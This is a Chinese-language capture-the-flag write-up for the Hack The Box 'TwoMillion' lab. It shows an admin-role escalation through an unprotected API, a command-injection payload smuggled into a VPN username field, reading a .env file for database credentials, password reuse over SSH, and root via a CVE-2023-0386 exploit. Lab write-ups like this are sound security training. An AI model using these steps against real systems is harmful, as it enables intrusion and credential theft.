端口扫描

sudo nmap --min-rate 10000 -p- 10.10.11.221
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-23 00:52 UTC
Warning: 10.10.11.221 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.221
Host is up (0.41s latency).
Not shown: 65467 closed tcp ports (reset), 66 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
sudo nmap -sT -sV -sC -O -p22,80 10.10.11.221       
[sudo] mikannse 的密码:
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-23 00:51 UTC
Nmap scan report for 10.10.11.221
Host is up (0.45s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx
|_http-title: Did not follow redirect to http://2million.htb/
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: HP P2000 G3 NAS device (95%), Linux 4.15 - 5.8 (95%), Linux 5.0 - 5.5 (95%), Linux 5.3 - 5.4 (95%), Linux 5.4 (95%), Linux 3.1 (95%), Linux 3.2 (95%), Linux 2.6.32 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), Thecus 4200 or N5500 NAS device (Linux 2.6.33) (94%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 64.61 seconds

添加2million.htb到hosts

Web

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.2million.htb" -u http://2million.htb -mc 200
feroxbuster --url=http://2million.htb/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

试着扫一下子域和目录但是也是没有什么结果,根据房间的引导,来到/invite界面,看到一个inviteapi.min.js,右键查看源码还有一个JS脚本,如果邀请码有效,就跳转到register界面

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}',24,24,'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify'.split('|'),0,{}))

inviteapi.min.js的源码,做了压缩和混淆的保护

https://beautifier.io/ 网页可以美化这个JS脚本

function verifyInviteCode(code) {
var formData = {
"code": code
};
$.ajax({
type: "POST",
dataType: "json",
data: formData,
url: '/api/v1/invite/verify',
success: function(response) {
console.log(response)
},
error: function(response) {
console.log(response)
}
})
}

function makeInviteCode() {
$.ajax({
type: "POST",
dataType: "json",
url: '/api/v1/invite/how/to/generate',
success: function(response) {
console.log(response)
},
error: function(response) {
console.log(response)
}
})
}

makeInviteCode函数允许我们向/api/v1/invite/how/to/generate接口发送POST请求并生成一个邀请码

curl -X POST http://2million.htb/api/v1/invite/how/to/generate

手动POST一下

得到了:

{"0":200,"success":1,"data":{"data":"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \/ncv\/i1\/vaivgr\/trarengr","enctype":"ROT13"},"hint":"Data is encrypted ... We should probbably check the encryption type in order to decrypt it..."}  

但是似乎用了ROT13加密,扔cyberchef里面解密一下,得到:

In order to generate the invite code, make a POST request to /api/v1/invite/generate

那就再请求这个接口

curl -X POST http://2million.htb/api/v1/invite/generate

得到了:

{“0”:200,”success”:1,”data”:{“code”:”TEJIVlAtTjEwTEUtMlkwSjYtOVc4SFo=”,”format”:”encoded”}}

应该是base64,解码得到:

LBHVP-N10LE-2Y0J6-9W8HZ

注册一个账户,在右侧lab->access中找到房间所说的connection pack,点击会下载一个ovpn文件,用burp抓一下它所指向的接口endpoint,

得到是/api/v1/user/vpn/generate

访问 http://2million.htb/api/v1 ,可以得到所有的接口名称

/api/v1/admin/settings/update运允许我们成为管理员,用PUT方式发起请求,并用Burp抓包,要带上自己的cookie

curl -X PUT http://2million.htb/api/v1/admin/settings/update --proxy 127.0.0.1:8080 -b "PHPSESSID=qp72lm05n9mcfuj86ofgatjuse"

结果response返回Invalid content type

API的调用一般是以JSON格式的,于是再次抓包

curl -X PUT -H "Content-Type: application/json" http://2million.htb/api/v1/admin/settings/update --proxy 127.0.0.1:8080 -b "PHPSESSID=qp72lm05n9mcfuj86ofgatjuse"
{"status":"danger","message":"Missing parameter: email"}

得到缺少email,添加上

curl -X PUT -H "Content-Type: application/json" -d '{"email": "114514@gmail.com"}' http://2million.htb/api/v1/admin/settings/update --proxy 127.0.0.1:8080 -b "PHPSESSID=qp72lm05n9mcfuj86ofgatjuse"

结果又返回{“status”:”danger”,”message”:”Missing parameter: is_admin”},这个大概率就是bool类型

curl -X PUT -H "Content-Type: application/json" -d '{"email": "114514@gmail.com","is_admin":1}' http://2million.htb/api/v1/admin/settings/update --proxy 127.0.0.1:8080 -b "PHPSESSID=qp72lm05n9mcfuj86ofgatjuse"

好,我们成为管理员了!

Getshell

因为生成VPN密钥大概率不是用PHP,所以也许是用了bash命令,注入命令大概率是这个生成VPN的端点了/api/v1/admin/vpn/generate

curl -X POST -H "Content-Type: application/json" http://2million.htb/api/v1/admin/vpn/generate --proxy 127.0.0.1:8080 -b "PHPSESSID=qp72lm05n9mcfuj86ofgatjuse"

添加上我们的username键值后,我们成功得到了response。因为是bash语言,猜测指令是:”xxx.sh username”。所以我们用分号来堆叠注入,用井号注释掉后面的命令

{“username”: “mikannse ;ls -liah #”}

发现是成功地列出了目录

 67892 drwxr-xr-x 10 root root 4.0K Oct 23 03:20 .
67891 drwxr-xr-x 3 root root 4.0K Jun 6 10:22 ..
262194 -rw-r--r-- 1 root root 87 Jun 2 18:56 .env
79498 -rw-r--r-- 1 root root 1.3K Jun 2 16:15 Database.php
79502 -rw-r--r-- 1 root root 2.8K Jun 2 16:15 Router.php
83002 drwxr-xr-x 5 root root 4.0K Oct 23 03:20 VPN
79512 drwxr-xr-x 2 root root 4.0K Jun 6 10:22 assets
79508 drwxr-xr-x 2 root root 4.0K Jun 6 10:22 controllers
79492 drwxr-xr-x 5 root root 4.0K Jun 6 10:22 css
79506 drwxr-xr-x 2 root root 4.0K Jun 6 10:22 fonts
79494 drwxr-xr-x 2 root root 4.0K Jun 6 10:22 images
262199 -rw-r--r-- 1 root root 2.7K Jun 2 18:57 index.php
79496 drwxr-xr-x 3 root root 4.0K Jun 6 10:22 js
79510 drwxr-xr-x 2 root root 4.0K Jun 6 10:22 views

“.env”是存储php中环境变量的

但是我们现在还是没有权限访问/home/admin/user.txt

cat 一下.env,发现:

DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123

直接拿到了数据库的凭证,试着ssh登陆

wow,直接登陆成功!

user.txt

5c2c5f49e89863087c1c754d4ed28216

提权

在/var/mail找到一个admin

发送人是

ch4p@2million.htb

内容讲的大概是这台主机有系统漏洞

在家目录能找到

CVE-2023-0386-main

运行里面的exp发现我们是root了!

root.txt

0388940a34cc6af23b718dc48a9a4009

ldd --version

glibc版本是2.35

碎碎念

第一次打HTB的靶机,因为没有充马尼只能打打免费的(悲。easy难度,但是前面API那块一点都不easy,至少现在对API还没学什么,正好同步在学院学习一下。非常有趣的靶机